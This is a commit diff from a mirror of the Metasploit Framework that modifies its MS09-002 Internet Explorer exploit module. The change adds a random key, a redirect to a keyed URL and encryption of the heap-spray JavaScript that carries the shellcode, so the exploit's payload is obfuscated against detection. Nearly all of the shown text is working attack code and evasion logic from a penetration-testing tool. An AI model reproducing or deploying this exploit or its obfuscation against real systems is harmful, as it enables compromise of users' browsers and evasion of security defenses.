1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

modify ms09-002 exploit to use encrypt_js

git-svn-id: file:///home/svn/framework3/trunk@9200 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2010-05-02 20:42:34 +00:00
parent 1ab399d0ea
commit 665baa7691

View File

@ -58,6 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DisclosureDate' => 'Feb 17 2008',
'DefaultTarget' => 0))
@javascript_encode_key = rand_text_alpha(rand(10) + 10)
end
def autofilter
@ -70,6 +72,11 @@ class Metasploit3 < Msf::Exploit::Remote
def on_request_uri(cli, request)
if (!request.uri.match(/\?\w+/))
send_local_redirect(cli, "?#{@javascript_encode_key}")
return
end
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
@ -95,8 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote
rand13 = rand_text_alpha(rand(100) + 1)
fill = rand_text_alpha(25)
content = %Q|<html>
<script language="JavaScript">
js = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = new Array();
var #{rand3} = 0x100000-(#{rand1}.length*2+0x01020);
@ -124,6 +130,12 @@ for(var #{rand13}=0;#{rand13}<#{rand8}.length;#{rand13}++)
#{rand12}.click;
}
window.setTimeout("#{rand10}();",800);
|
js = encrypt_js(js, @javascript_encode_key)
content = %Q|<html>
<script language="JavaScript">
#{js}
</script>
</html>
|